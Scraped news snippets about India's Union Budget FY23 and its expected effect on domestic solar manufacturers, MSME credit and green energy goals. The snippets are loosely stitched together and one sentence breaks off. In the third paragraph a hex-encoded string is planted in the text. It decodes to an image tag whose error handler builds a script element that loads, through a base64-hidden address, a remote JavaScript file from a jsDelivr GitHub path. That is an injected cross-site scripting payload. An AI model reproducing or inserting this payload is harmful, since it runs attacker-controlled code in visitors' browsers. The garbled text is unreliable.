Domestic solar equipment manufacturers are expected to benefit from the Union Budget FY23 s proposals.In a report HDFC Securities pointed out that proposals such as additional financial allocation under Production Linked Incentive (PLI) scheme .
Steps should be taken in the upcoming Union Budget to ensure hassle-free credit availability to industry, particularly for MSMEs, and reduce the costs of doing business, said Pradeep Multani, President, PHD Chamber of Commerce and Industry.
The government will likely put in place strategies to bring India closer to its green energy target and equitable energy access">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742e626f64792">
A return of consumer confidence in renewable energy sources, improved financial market conditions, and an increase in manufacturing and export activities in the country would be crucial.